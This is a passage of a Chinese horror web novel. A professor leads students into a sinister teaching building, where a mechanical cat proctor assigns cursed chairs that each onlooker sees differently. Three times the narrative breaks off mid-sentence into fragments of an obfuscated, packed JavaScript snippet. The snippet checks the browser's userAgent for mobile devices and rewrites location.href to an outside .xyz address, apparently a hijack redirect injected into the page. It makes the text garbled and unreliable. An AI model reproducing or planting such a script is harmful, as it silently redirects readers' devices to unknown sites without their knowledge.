章著金眨眨眼,漂亮的脸蛋瞬间切换上一副被误解的委屈表情,语气无辜至极:“教授,我在您眼里,就这么……不可靠吗?” 官酉冷哼一声,不再多言,率先转身,大步流星地朝着月光下那座散发着不祥气息的8号楼走去。 “跟上!快!” 秦狩第一个反应过来,搀扶起受伤不轻的周昌南,嘶声催促。 夏铭拉起刘楚恬,童话等人也咬紧牙关,拖着伤痕累累的身体,跌跌撞撞地跟上官酉的背影。 章著金再一次落在最后,他慢悠悠地拍打着西装上沾染的灰烬,回头看了眼铺满碎屑的泥土地,脸上的笑容更深了。 脚下青石板路的“空间扭曲”似乎随着藤蔓的枯死、视觉的屏蔽彻底消失了。 一行人的每一步都踏在了实处。 距离在缩短,那股混合着福尔马林、铁锈和淡淡腐败甜腥的气味也愈发浓烈,直冲鼻腔。 终于,官酉第一个抵达门前。 那并非寻常门户,材质非金非木,触手冰凉刺骨。 门扇上遍布的阴刻的条状花纹——扭曲、纠缠、盘绕在一起。 每一道都雕刻得纤毫毕现,沟回清晰。 官酉甚至能在上面感受到那种生物组织特有的、微微隆起的质感,仿佛下一秒就会蠕动起来。 它们以一种病态的方式拱卫着门扉的核心,散发着难以言喻的活物气息,却又死寂得如同冰冷的标本。 官酉的呼吸瞬间一窒,一股源自本能的强烈不安攫住了他。 就好像他凝视的根本不是一扇门,而是某个庞大生物裸露在外,彻底僵死的…… 大脑。 官酉倒吸一口凉气,就要刷卡的手瞬间顿住了。 “教授。”章著金懒洋洋的声音从人群最后飘了过来。 他好整以暇地举起了右手,跟个等待老师指令的小学生似的,表情无辜又纯良,“天亮的时间是不是马上就要到了?” “咱们不进去吗?” 官酉立刻看向自己的手腕,手表的计时指向【05:53:58】。 四十分钟! 他们竟然在这条看似短暂的路上,耗费了接近四十分钟?! 这怎么可能?! 他明明感觉只走了几分钟! 脚步的节奏,空气的流动,甚至身后学员压抑的喘息和拖沓的脚步声……所有感官反馈都告诉他,时间流逝是正常的,他的生物钟也没有发出任何警报。 看来不仅仅是空间被扭曲了……连时间的感知和流逝,在这里都变成了不可靠的陷阱。 冷汗瞬间浸湿了官酉的后背。 这还仅仅是抵达门口的路,就已经出现了时间空间双重篡改,那么在这座8号楼里,还有什么是不可能发生的? “教授?”章著金又懒洋洋的叫了一声。 “进!” 官酉的回答简短而有力,他深吸一口气,毫不犹豫地从教师套装中抽出那张冰冷的金属邀请函。 “滴——” 邀请函接触到大门的瞬间,发出一声清脆的电子音。 厚重的门扉无声地向内滑开,一股更加浓郁、冰冷刺骨的混合气味扑面而来。 门内并非预想中的黑暗,而是笼罩在一片昏黄、摇曳不定的光芒中,仿佛无数盏老旧的煤油灯在共同燃烧。 【优秀的教师敢于人先,敢于人后。】 【触发突发事件:为你的学员断后吧!】 【呀!这是一座刚刚开启的教学楼哎!看起来很安全!可谁知道这安全会存在多久呢? 让你的学员先进去吧!累了一路,他们更需要休息呀!】 【任务奖励:15积分】 官酉的睫毛几不可察地颤动了一下。 好简单的任务。 如果说在藤蔓暴起之前,这群学员对他这个“教授”还心存疑虑、甚至可能对他的指令阳奉阴违的话…… 那么,经过刚才那场炼狱般的藤蔓之战,亲眼目睹了他的骨辫三抽后,藤蔓化为灰烬的震撼一幕后—— 他可以百分百保证,此刻,无论他说什么,听起来有多离谱,这群刚从鬼门关爬回来的学员都会做。 “快!刷函!进去!”官酉侧身让开,声音低沉而急促,目光锐利地扫视着身后跟上来的学员。 学员们早已被吓破了胆,此刻对官酉的命令几乎奉若神明。秦狩第一个冲到门边,将自己的邀请函按在门侧一个不起眼的凹槽上。 “滴——学员秦狩,身份确认。” “滴——学员刘楚恬,身份确认。” “滴——学员夏铭,身份确认。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853118|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 一个接一个,学员们争先恐后地刷过邀请函,踉跄着冲入门内那昏黄的光晕之中,仿佛逃离身后那片刚刚吞噬了林惊秋的恐怖青石板路。 轮到章著金时,他慢条斯理地将自己的邀请函按上去。 “滴——学员章著金,身份确认。” 他抬脚跨入门槛,在即将完全没入光晕前,忽然回头,对着门外的官酉勾起一个意味深长的笑容:“教授,您不进来吗?” 【滴滴滴——】 【真是个优秀的教师苗子!突发任务顺利完成!】 【积分到账中——积分已到账!】 【累计积分:165】 【锵锵锵锵!现在,请实习教师回头,为你死去的学员默哀——】 官酉心头猛地一跳,他几乎是下意识地听从提示音的安排,猛地回头望向青石板路的方向—— 月光惨白,清晰地映照着林惊秋那具扭曲瘫倒、被暗红血液浸透的尸体。就在官酉目光触及的刹那! 噗嗤! 林惊秋身下的土地毫无征兆地塌陷下去,瞬间形成一个直径约莫两米的漆黑大坑。 那具毫无生气的尸体毫无声息地向下坠落,眨眼间消失在坑洞的黑暗中。 紧接着,坑洞被填平了,一抹极其柔嫩、几乎透明的翠绿嫩芽,以肉眼可见的速度破土而出。 它只有寸许高,细弱的茎秆在夜风中微微颤抖,顶端两片小小的、近乎圆形的叶片舒展开来,在惨白的月光下,散发着一种诡异而充满生机的微光。 官酉瞳孔骤缩,一股寒意从脊椎骨直冲头顶。 青石板路在最后居然还给他留了一个惊喜——泥土地会“吃人”。 腰间的小蜜蜂忽然开始发烫,官酉心里明白,他现在必须进入教学楼,和已经进去的学员们汇合了。 他深吸一口气猛地转回头,一步踏入教学楼大门。 厚重的木门在他身后轰然关闭。 “砰!” 最后一丝外界的光线和声音被彻底隔绝。 门内的世界,寂静无声。 官酉迅速环顾四周—— 这是一间极其空旷、高耸的大厅,穹顶隐没在昏黄光线无法触及的黑暗中。 墙壁是斑驳的深色石料,正对面的墙上挂着早已褪色模糊的巨幅挂毯,上面描绘着一些难以辨认的、扭曲的人形与植物纠缠的图案。 空气冰冷、滞重,福尔马林混合着尘埃和木头腐朽的味道浓郁得几乎让人窒息。 忽然,官酉看向大厅中央。 一张巨大的、布满刀劈斧凿般深刻划痕的长条木桌摆在那里。 桌子的正中央,端端正正地坐着一只橘猫。 它体型圆润,橘白相间的毛发在昏黄灯光下显得油光水滑。 一条蓬松的尾巴优雅地卷在身前,琥珀色的猫眼在昏暗光线下闪烁着古怪的光泽。 大厅里落针可闻,只剩下学员们压抑不住的粗重喘息。 没有人敢坐下,甚至没有人敢大声呼吸。 所有人的目光,在橘猫和官酉之间来回逡巡,又最终都凝固在官酉身上。 他们在等待着官酉的反应,或者说指令。 橘猫缓缓地抬起一只前爪,慢条斯理地舔舐着粉嫩的肉垫。 它琥珀色的眼珠缓缓转动,眼神落了站在最前方的官酉身上后,眼皮轻轻一眨。 然后,一个清晰的,冷静的,甚至带着一丝审视意味的声音,从三瓣儿嘴里吐了出来。 “你,就是这次的带队教师?” 13. 中国结(13) 官酉既没点头,也没摇头。 那橘猫无论是皮毛纹理、还是嘴套的大小或者饱满程度,甚至眼瞳的形状和光泽,都逼真得足够以假乱真。 然而—— 官酉的目光直直落在橘猫的眼睛上。 那双琥珀色瞳孔的深处,有一丝极其细微、非自然的绿色数据流光,正毫无遮掩的、规律地闪烁、流动,潜藏在虹膜的纹理之下。 那不是生物电信号,而是数字编码! 官酉微不可查的倒吸一口凉气,一个判断瞬间跃上心头。 这不是真猫,而是和“咪呜咪呜”一样的机械造物! 身后学员的抽气声此起彼伏,压抑的哭腔混在其中。 连一贯冷静的夏铭也猛地倒吸一口凉气,那声音在死寂的大厅里显得格外刺耳。 官酉微微侧脸,刚平复的心中又掠过一丝意外。 一只机械猫而已,为什么会引发如此剧烈的恐慌? 空气粘稠得仿佛凝固的油脂,尘埃混合着木头朽坏的陈腐气味,沉甸甸地压在每个人的胸腔上。 “初次见面。”橘猫优雅的欠了欠身,声音平稳无波,如同设定好的程序音,“希望你能在这次的教学之旅,玩得愉快。” 官酉的心沉入了谷底。 这只橘猫的话里,字字句句都昭示着,他完全不是这群学员先前猜测的那个人! 甚至,他此刻就能清晰感知到身后汇聚而来的目光——恐惧的、愤怒的,还有炽热无比的审视。 冒充那个恋手癖前任的把戏……露馅的可真快啊…… 官酉的眼神暗了暗,有些感慨,却没有丝毫在意。 暴露了又能如何? 青石板路上发生的一切都在告诫着他们,只有教师身边才是真正的安全区! 教学楼可不是什么安全地。 他们如果想要活命,除了跟紧他,别无他法。 橘猫没再看他。 它的目光越过他,在后方瑟缩的学员群中缓缓逡巡。 最终,落在队伍末尾——那个姿态依旧闲适得格格不入的章著金身上。 仅仅一瞬,它琥珀色的瞳孔骤然收缩成一道危险的竖线。 浑身蓬松的毛发根根炸立,背脊高高拱起,喉咙深处滚出低沉却充满威胁性的呼噜声。 右前爪不安的摩擦着桌面,耳朵背成飞机耳,一脸凶相。 学员们瞬间如惊弓之鸟,下意识绷紧身体,摆出防御姿态。 夏铭的手更是按上了腰间的武器,眼神锐利,似乎随时就要动手。 刘楚恬却按住了她的手腕,微不可查的摇了摇头。 橘猫猛地从布满深刻爪痕的桌面跃下,肉垫落地无声。 它以迅雷之势冲向章著金,又在堪堪触及他小腿时急刹—— “咚!” 圆滚滚的脑袋不轻不重地撞上章著金的胫骨,沉闷声响在空旷中回荡。 它吸着鼻子,眼泪汪汪地绕着章著金缓慢踱步,鼻翼急促翕动着,像是在确定什么。 “好熟悉又陌生的气息,我们见过吗?” 好半晌,橘猫在章著金脚边停下,后腿弯曲着坐下,仰起僵硬的脖子,狐疑地盯住他。 “没有哦~” 章著金甚至懒得低头,嘴角噙着一丝漫不经心的笑意,语气轻飘飘的,像在讨论无关紧要的晚餐菜单。 橘猫僵硬的脑袋歪了歪,眼睛直愣愣章著金,眼珠子忽然开始在眼眶里胡乱打转,肚子里发出高亢的呼噜噜的声响,像是识别到什么错误BUG一样。 官酉的心瞬间提到了嗓子眼。 不好! 这只橘猫在评估章著金是否是游戏里蹿入的BUG数据! 他下意识地绷紧身体,一步踏前—— 就在他几乎要冲过去的瞬间,橘猫胡乱转动的眼珠倏地停滞。 奶呼呼的眼皮上下一眨,所有异常状态瞬间清零,恢复了可可爱爱却又奇奇怪怪的模样。 “交互记录:零。身份验证通过,非BUG程式,无需就地清除。” 它几不可察地点了下头,声音重新变得冰冷平滑,“欢迎新同学加入学院系统。” 话音未落,橘猫咻地扭身,后腿用力在地上一蹬,整只猫凌空而起,轻巧的落回伤痕累累的桌面。 两只前爪狠狠地碾过桌面,留下两道深深的抓痕。 橘猫转过身,尾巴扫过桌面,扬起不少陈腐味的灰尘。 它转过身,面向噤若寒蝉的学员,伸出粉嘟嘟的舌头,舔了舔左前爪。 “员身份确认完毕。我是本次课堂督查,代号:大橘子。” 橘猫清了清嗓子,平静的宣读着规则。 “课堂纪律即是本轮游戏核心运行协议。” “违反协议条款,记过一次。累计记过达到三次阈值——” 橘猫轻笑一声,“即判定为课堂考核失败,启动补考程序,自动归为下一轮课堂的替补学员。临时使用身份为——教学耗材搬运工。” 每个字都像冰冷的铁块砸在地上。 官酉明显听到身后,除了章著金的7个学员都呼吸一窒,似乎被这句话扼住了喉咙。 空气瞬间凝滞。 他微不可查的皱了皱眉。 “教学耗材搬运工”? 能引起他们这么大的反应,应该不止是简简单单的“搬运材料”? 那会是什么呢? “纪律单贴于每间宿舍门后,上课前必须背熟。每天上课的第一时间,我将抽查背诵。” “本次学习时长为四天三晚。每日学习时间:早8点至11点,下午1点至5点,晚修7点至11点。” “现在宣布当前时间——” “4月4日,24点整——” 斑驳的深色石墙上,毫无征兆地扭曲、溶解,一座巨大无比的石英钟凭空浮现。 钟面上,时针和分针如同被无形之手疯狂拨弄,以肉眼可见的速度飞速倒转! 滴答...滴答...滴答...嗒嗒嗒嗒嗒—— 指针高速旋转的声音在死寂的大厅里异常刺耳,像倒计时的丧钟敲在每个人的心口。 学员们惊恐地看着这违反常理的一幕,神色仓皇,表情震惊。 最终,时针与分针在冰冷的罗马数字“XII”上狠狠咬合! “铛——!!!” 一声沉重、悠远的钟鸣骤然响起,震得整个大厅嗡嗡作响,灰尘簌簌落下。 无形的音波穿透耳膜,直抵灵魂深处,带来一阵心悸的眩晕。 零点,又一次到了。 官酉瞳孔骤缩,一股寒意从脊椎骨直窜天灵盖。 这栋楼不仅能肆意扭曲空间,竟连时间也能玩弄于股掌之中。 这意味着,他将失去对时间流逝的基本判断。 可这次的课堂又是以时间为课堂划分的节点。 这样的安排下,制作方真的希望有人能活着离开课堂吗? 他指腹无意识地重重摩挲着腰间冰冷的小蜜蜂外壳。 必须活下去! 科研、论文、章知白…… 他需要尽快找到一个能锚定这疯狂时间流的方法。 橘猫对众人濒临崩溃的惊骇置若罔闻。 它抬起前爪,在那布满新旧抓痕的桌面上不轻不重地拍了拍,宣判了接下来的安排。 “现在给你们分配宿舍。” 冰冷的字眼砸落,大厅的温度仿佛又骤降了十度。 “规则是——” 它琥珀色的瞳孔扫过每一张因恐惧而扭曲的脸,一字一顿: “试、胆、大、会。” 话音落下的瞬间,官酉脚下坚实的地面猛地一软,如同骤然踩进了沼泽,向下塌陷! 嗡——! 空气发出不堪重负的、低沉而持续的悲鸣。 四周斑驳的深色石墙开始像融化的蜡烛般剧烈扭曲、拉伸,怪异地向着无尽的黑暗深处退去。 墙上的石英钟和那幅描绘着扭曲人形的褪色挂毯,在视野中急剧缩小、变形,如同坠入噩梦的深渊。 “等等,这又是什么!”童话惊叫出声。 官酉猛地回头。 九张造型迥异、散发着不祥气息的座椅,逐渐从阴影里凝结出的实体,毫无征兆地凭空出现在昏黄摇曳的光线下,围绕着那张布满爪痕的长桌,排成一个半开口的的圈。 “九个人,九个座位。” 橘猫的声音穿透空间的异变,清晰得如同贴在耳边。 “宿舍一共有五间。两人合住一间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869332|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,剩下的人住单间。” “每个座位,绑定一把宿舍钥匙,以及获取这把钥匙的方案。” “方案不同,难度不同,代价……也不同。” 它的语调平淡丝滑、没有任何起伏,却比任何威胁都更让人心头发冷。 “现在,选座。钥匙和方案,选了才知道。” 宣读完毕,空间陷入一片死寂,只有橘猫尾巴尖无意识地轻叩桌面,发出规律的“哒、哒”声。 众人的目光齐刷刷的聚焦在官酉身上。 官酉被这沉甸甸的注视钉在原地,微微一怔。“你们在等什么?” “等你呢,教授。” 章著金懒洋洋的声音响起,尾调刻意拖长上扬,在紧绷得几乎要断裂的氛围中,带着点若有似无的暧昧。 “你选在哪儿,”他嘴角噙着一丝若有若无、却十足挑衅的笑意,眼神轻飘飘的对上官酉,微红的眼尾扬起一点弯弯的弧度,“你左右两边的座位,不就自动进入安全区了?” 其他学员仿佛抓住了唯一的救命稻草,拼命点头,目光中的恳求几乎要溢出来。 安全区? 官酉指关节骤然发力,死死攥紧了腰间的鞭柄。 冰冷的金属触感透过掌心传来,坚硬而滑腻。 教具毫无反应。 这意味着,在教具的感知里,这伤痕累累的桌子,这毫无生气的机械猫,还有这九把散发着不祥气息的座椅都显示“安全”。 但—— 官酉的视线飞速的扫过大厅的每一个角落,一股冰冷的违和感从脊椎悄然爬升。 就好像有无形的、无法被教具识别的危险蛰伏在阴影之中,随时可能暴起噬人。 “教授。”章著金的声音再次响起,慢条斯理,带着一丝刻意拉长的、充满娇滴滴催促的腔调,“时间不等人啊。” 官酉深吸一口,努力克制住心底冉冉升起的危机感,强迫目光落在那九把散发着不祥气息的座椅。 一把肉色的破旧真皮沙发,表面布满狰狞的抽痕,暗红色的粘稠液体正从裂口处缓缓渗出。 一把完全由森白骨骼拼接而成的座椅,从扭曲的胸椎、腰椎,一直延伸到大腿骨的形状,坐垫位置赫然是两片骨盆。 一把黑漆漆的椅子,仿佛一个微型黑洞,贪婪地吞噬着周围本就昏黄的光线。 一把扭曲盘旋成蛇形的座椅,通体覆盖着冰冷的黑色鳞片,蛇头昂起,空洞的眼窝正对着选择者。 一把由墨绿色、长满尖刺的荆棘缠绕而成的椅子,荆棘丛中却反常地盛开着无数娇嫩欲滴的鲜红小花。 一把纯白色的布艺沙发,柔软的坐垫中央却诡异地凹陷下去,形成一个边缘参差、宛如正在无声嘶吼的血盆大口。 一把表面布满密密麻麻、不断开合转动的浑浊人眼的椅子,每一次眨动都留下湿滑的痕迹。 一把完全由无数只僵直、青灰、向上伸展的手臂交缠而成的座椅,指尖兀自微微抽搐。 似乎每一把都在沉默却嚣张地散发着各自独特的恶意。 倏地—— 他的视线落在了左数第一把椅子上。 那把椅子…… 它太“正常”了。 老旧褪色的原木色,线条简单到近乎简陋,朴素的木质纹理在昏光下清晰可见。 在一片妖异狰狞、散发着强烈存在感的座椅包围中,它安静得像个异类,像污浊泥沼里一块过分干净的石头。 也正是这份突兀的、近乎刻意的“普通”,在官酉眼中透出一种令人脊背发凉的毛骨悚然。 污泥之中,焉有完卵? 官酉拿不定主意,眼里也浮现出一抹淡淡的挣扎来。 也许……越危险越安全? 它背后所代表的试胆方案,会不会恰恰是最直接、最简单的? 这个念头刚冒出来,那椅子仿佛拥有了生命般的魔力,牢牢黏住了他的视线,无法挣脱。 紧接着,一个稚嫩的、带着空灵感的童声,悄然钻入他的脑海,混着他自己压抑的呼吸节奏,一遍遍固执地低语、哀求:“选我,快选我,求求你选好……” 鬼使神差地,官酉抬起手,指尖笔直地指向那把看似无害的椅子,声音在寂静中异常清晰: “我选它。” 14. 中国结(14) 室内瞬间陷入一片死寂。 没人说话,没人敢用力呼吸。 空气粘稠如胶,每一次微弱的抽气声都清晰可闻。 所有人的目光齐刷刷落在官酉身上,眼神里翻涌着焦灼、惊愕,以及一种强烈到近乎荒谬的不敢置信。 仿佛他指尖点中的并非一把寻常座椅,而是一扇通往地狱的入口。 “你……”秦狩沙哑粗粝的声音率先打破沉寂,如同砂纸摩擦过锈铁,带着一丝难以压制的颤抖。 他死死盯着官酉手指的方向,额角青筋突突直跳,仿佛那里盘踞着择人而噬的凶物。 “你确定你没选错吗?” 官酉收回手,目光沉静地垂落,指尖无意识地互相捻了捻。 看来,他的选择,远超出这些人的心理预期了? 真有意思…… 不知在他这些学员们的眼中,那究竟是副什么光景? 他唇角几不可察地勾起一丝冰冷的弧度,没有回头,声音异常平稳,像在探讨一个学术问题:“在你眼里,它长什么样?” “深渊巨口!”秦狩几乎是从牙缝里迸出这四个字,喉结艰难地滚动了一下,脸色发青,“腐烂的肉壁淌着黄绿色的粘液,滴答作响……那恶臭……熏得我……喘不过气。” 他顿了一下,神色复杂:“老师,我不明白,你是怎么做到在一群普通椅子里选出唯一一张最恐怖的。” “扯犊子呢!” 周昌南猛地瞪圆了眼,像被毒蜂蜇了般跳脚,声音陡然拔高八度。 “老秦你他妈眼瘸了?!那玩意儿在我这儿明明就是一堆眼珠子!” “囫囵个的,爬满血丝,还在那儿滴溜溜地转!邪门透了!” 他边说边疯狂搓着胳膊,皮肤上瞬间冒出一片鸡皮疙瘩。 秦狩猛地扭头看向周昌南,脸上写满了震惊。 他太了解这莽汉,一根筋通到底,撒谎?不存在的。 可两人所见为什么能差这么多? 夏铭紧蹙的眉头拧成了一个结。 秦狩看见腐肉巨口,周昌南看见乱转的眼球,而她……只看到一副冰冷森然的半身枯骨。 三个人,三种截然不同的景象……这可不是什么好兆头。 她正欲开口召集众人交换信息,衣袖忽然传来一阵微弱的拉力。 低头一看,是刘楚恬那张惨白的小脸。 她怯生生地躲在夏铭身后,手指紧紧攥着夏铭的衣角,指尖发白。 更让夏铭意外的是,童话和魏莱不知何时也紧挨在刘楚恬身后。 夏铭心中掠过一丝难以名状的异样感,像是平静湖面投入了一颗小石子,荡开一圈涟漪。 刘楚恬的慢热和内向她是知道的。 自从进入这鬼地方后,小丫头几乎只和自己有交流,怎么会突然和童话、魏莱如此亲近? 她压下疑虑,维持着一贯的冷静,声音尽量放柔:“怎么了,小恬?” 刘楚恬飞快地瞥了一眼仍在争执的秦狩和周昌南,又像受惊的兔子般缩回夏铭身边,声音细若蚊呐,带着点哭腔:“夏姐姐……我们三个看到的……跟他们都不一样……” 她咽了口唾沫,艰难地补充,“我……我看到一大团……黏糊糊、血淋淋的内脏……还在……还在蠕动……” “魏莱说她看见的是黄腻腻的脂肪……童话……童话说那是个黑漆漆的洞……一点光都没有……深不见底……像要把人吸进去……” 她越说越激动,呼吸急促,仿佛下一秒就要被那恐怖的记忆淹没窒息。 “别怕,看着我。”夏铭立刻按住她的肩膀,声音清冷沉稳,带着不容置疑的安抚,“吸气。屏住。吐。跟着我的节奏来。” 她缓慢而清晰地示范着呼吸。 在夏铭的引导下,刘楚恬急促的喘息终于渐渐平复,但身体依旧控制不住地微微颤抖。 她的手还紧紧攥着夏铭的衣角,眼底的恐惧未消:“是,是幻觉吗?” “不是幻觉。” 夏铭沉默了一瞬,摇了摇头。 她的目光扫过秦狩、周昌南,以及挤在一起的三个女孩,最后定格在官酉的背影上,语气斩钉截铁。 “我看到的,是一副白骨。一副……像是被活生生剔净了皮肉的半身枯骨。” 她的声音不高,却清晰地传入每个人耳中。 “操!”周昌南烦躁地挠着他那寸头,百思不得其解,“这他娘到底搞什么鬼?一个破椅子还能七十二变不成?” “老秦看见烂嘴,老子看见眼珠子,你们仨丫头片子看见心肝脾肺肾黑洞,夏姐你又看见骨头架子?” “明明一整片的普通椅子,老师你怎么就喜欢挑战不可能呢!” “哎刘立涛!别装死!你看见啥了?” 一直阴沉着脸沉默的刘立涛,闻言抬起头,从牙缝里冷冷挤出几个字:“结缔组织。遍布的筋膜和血管网。” 官酉静静地听着,眼底掠过一丝兴味儿。 七个人,七双眼睛,聚焦于同一处,却映射出种七截然不同、但都令人作呕的恐怖形态? 这个试胆大会可真的越来越有意思了。 官酉身侧传来一丝微不可察的气流扰动。 他微微侧目,章著金已无声无息地贴了过来。 距离近到,他能嗅到对方身上那丝若有似无的、与周遭腐朽气息格格不入的冷冽气息。 “教授啊~”章著金的声音带着惯有的轻佻慵懒,尾音黏腻地拖长,语气暧昧得令人不适。 他那双漂亮的桃花眼先是饶有兴致地扫过官酉指向的那把椅子,又缓缓移回官酉脸上。 他的嘴角勾起一抹似笑非笑的弧度,带着毫不掩饰的戏谑:“瞧瞧您这手点的……啧啧,多冒昧的‘座位’啊……” 官酉眉头几不可察地一蹙。 “冒昧”? 这个词在此刻的语境下,显得格外刺耳且别有深意了。 他眯了眯眼,乜向章著金:“你呢?章著金,他们可都看见了奇奇怪怪的东西了。你看见了什么?” 章著金像是听到了一个极其乏味的问题,随意地耸了耸肩,双手悠然插回熨帖的西装裤兜,姿态闲适得与周遭紧绷如弦的氛围格格不入。 他漫不经心地瞥了一眼那个目之所及,各有不同的位置,语气平淡无波,甚至带着点理所当然的无辜:“椅子啊。一把普普通通、毫无特色的原木椅子罢了。能有什么特别的?” 他说着,眼波流转,轻飘飘地扫过一张张惊疑不定的脸庞,桃花眼里闪过一丝玩味:“毕竟,我这人呐……心思单纯,比不得在座诸位……个个‘深不可测’……” 话音落下的瞬间,仿佛有实质性的寒气在空气中炸开。 所有人的脸色倏然剧变,看向章著金的眼神不再是惊疑,而是瞬间盈满了被戳破隐秘的惊怒与敌意! “章著金!”周昌南的怒火瞬间被彻底点燃,他一步踏前,拳头捏得咯咯作响,眼里的凶光几乎要喷出来,“操你大爷的!老子忍你这阴阳怪气的语调很久了!你他妈到底想说什么?!” “字面意思啊。”章著金摊开双手,脸上笑容依旧灿烂,眼神却幽深得如同寒潭,“谁知道你们眼前那堆心啊肝啊眼啊洞啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“‘教授’及‘学员’——”橘子猫冰冷的声音带着不容置疑的命令再度响起,“请立即落座。” 一股无形的压迫感笼罩下来。 纵有万般不甘,众人也只能咬着牙,如同提线木偶般,动作僵硬地走向自己亲口说出的椅型。 脚步声迟缓而沉重,拖沓在死寂的空气中。 场中瞬间空荡,唯剩两把椅子突兀地伫立着。 一把是平平无奇,被官酉和章著金同时指认过的木椅。 而另一把则是根本无人提起过的真皮椅。 空气再次绷紧如弦。 所有人的目光在仅剩的两人和两把椅子之间来回逡巡,好奇与惊疑几乎要凝成实质。 这两个做出完全相同选择的人,面对这唯一一张无人窥见的座椅,究竟……谁会坐上去?或者说,谁会被迫坐上去? 答案有时候来得猝不及防。 章著金先动了。 他双手漫不经心地插回裤兜,顶着全场聚焦的目光,嘴角噙着那抹惯有的似笑非笑,迈开长腿,竟径直走向了那张无人窥见的真皮沙发。 神态之坦然自若,步伐之从容不迫,仿佛走向的不是一个被所有目光避之在外的座椅,而是他早已心知肚明、理应归属的专属王座。 他姿态优雅,微微倾身,手甚至已经抚上了那冰冷光滑的真皮扶手,准备坐实这“众望所归”。 重心下沉的刹那—— 一只骨节分明的手猛地探出,扣住了他细瘦的手腕。 章著金整个落座的动作戛然而止。 他愣了一下,微低着头,视线落在扼住自己手腕的那只属于官酉的手上。 片刻后,他缓缓抬起头,直直望向官酉近在咫尺的深沉眼眸。 脸上一直挂着的那点玩世不恭的慵懒瞬间褪尽,只余下一层冰冷的审视。 薄唇轻启,吐出两个音节:“教授?” 15. 中国结(15) 官酉的心脏仿佛被一只冰手攥住,骤停半拍。 指尖触及那滑腻的皮肤,如同被烙铁灼烫,本能地就要蜷缩逃离。 理智在他的脑子里咆哮:放开!他是赝品!是章著金! 可那只手却像被异位神经接管了一样,依旧死死扣住章著金的手腕,指节因过度用力绷得惨白。 又来了! 官酉的心沉甸甸坠入冰窟,薄汗瞬间浸透后背衣料。 面对章著金主动踏入险境的姿态,他那保护“章知白及其关联物”的本能,又一次以压倒性的姿态,蛮横地碾过了理智的分析和判断。 众目睽睽,无形的压力如实质般挤压着他。 他无法松手,更无法解释这荒谬的“保护欲”。 死寂在两人之间蔓延,绷紧如将断的弓弦。 理智与本能疯狂对峙了片刻,官酉才从齿缝间挤出沙哑的字眼:“你……疯了吗?” 话一出口,后续便裹挟着未消的惊怒倾泻而出:“每把椅子对应什么,你在懂后又……不懂了?” 章著金嘴角极其细微地向上勾了一下,眉眼一弯,整个人瞬间柔和了下来。 他不仅没有挣扎,反而就着官酉的钳制,微微俯身,主动将距离拉近到呼吸可闻。 冰冷潮湿的吐息拂过官酉颈侧。 “教授啊……” 他的声音压得极低,像毒蛇游过枯叶,带着刻意的、黏腻的沙哑。 “您的手心……湿透了呢。” “为了谁……这般失态?” 官酉的瞳孔骤然收缩,细微得几乎无法捕捉。 章著金的目光如影随形,嘴角的弧度缓缓拉大,形成一个近乎完美的形状:“是在透过我,去忧心那个……与你共享过脑内风景的‘室友’吗?” “你——!” 官酉的呼吸骤然一窒,扣住对方手腕的力道下意识地加重了几分。 一股混杂着强烈担忧与被戳穿的怒火在胸腔里激烈冲撞。 他手臂肌肉贲张,几乎想要凭蛮力将对方甩脱—— 可那只该死的手,依旧像焊死在对方腕骨上,纹丝不动! 是那该死的本能! 它又在蛮横地操控局面! 唯一的解法,似乎只剩逼他坐上那把“安全”的木椅! 官酉强迫自己压下翻腾的怒火,语气带着命令式的冷硬,竭力掩盖那丝几乎破音的急迫:“去坐那把木椅。” “那是你最初点选的位置,它不会排斥你。” “呵。” 章著金鼻腔里逸出一声轻蔑至极的嗤笑。 眼底的讥诮如寒星般一闪而逝。 紧接着,他的手腕以一种超越人体关节极限的诡异角度,如同无骨的软体生物般,倏然向内旋拧、滑脱! 官酉只觉得指间骤然一空,那触手生冰的滑腻触感瞬间消失无踪。 “教授啊……” 章著金已然深陷于那张布满暗红撕裂口的肉色真皮沙发中。 他慢条斯理地抚平被官酉攥出的衣袖褶皱。 左腿优雅地叠上右膝,腰背挺直,仿佛刚才的拉扯不过是场无聊的插曲。 他抬起眼,望向僵立的官酉,桃花眼重新盈满了慵懒无害的笑意,右眼轻轻一眨,那个失踪的章知白,似乎再次浮现在章著金的身上。 “您知道的。”章著金叹了口气,慢慢拖长了调子,带着浮夸的戏谑,清晰地回荡在死寂的大厅,“强按一个清醒的人,叫动粗。可硬要把一个安于现状的人拽起来嘛……” 他微微歪头,笑容灿烂得刺眼,一字一顿: “那可就是——您、不、讲、规、矩、了、哦!” “……” 官酉伸出的手依旧僵在半空,所有质问都哽在喉头,指间是挥之不去的、冰冷的滑腻。 他仿佛被无形的钉子钉在了原地,只能眼睁睁看着章著金在那危险的座椅上安之若素。 死寂吞噬了数秒。 官酉几不可闻地吐出一口气。 “好。”他转身,走向那把看似无害的原木椅,坐了下去。 冰冷的目光却始终未曾离开沙发上的章著金。 “他曾告诫我,”官酉的声音平静得可怕,“尊重个体的选择。那是他们为自己写就的命运脚本。” “现在,我将此赠予你。” “记住你的选择。” “别、后、悔。” 话音落下的刹那—— “啪!” 橘猫高高扬起的尾巴朝桌面鞭下,裹挟着令人头皮发麻的破空声,狠狠抽击在伤痕累累的桌面上。 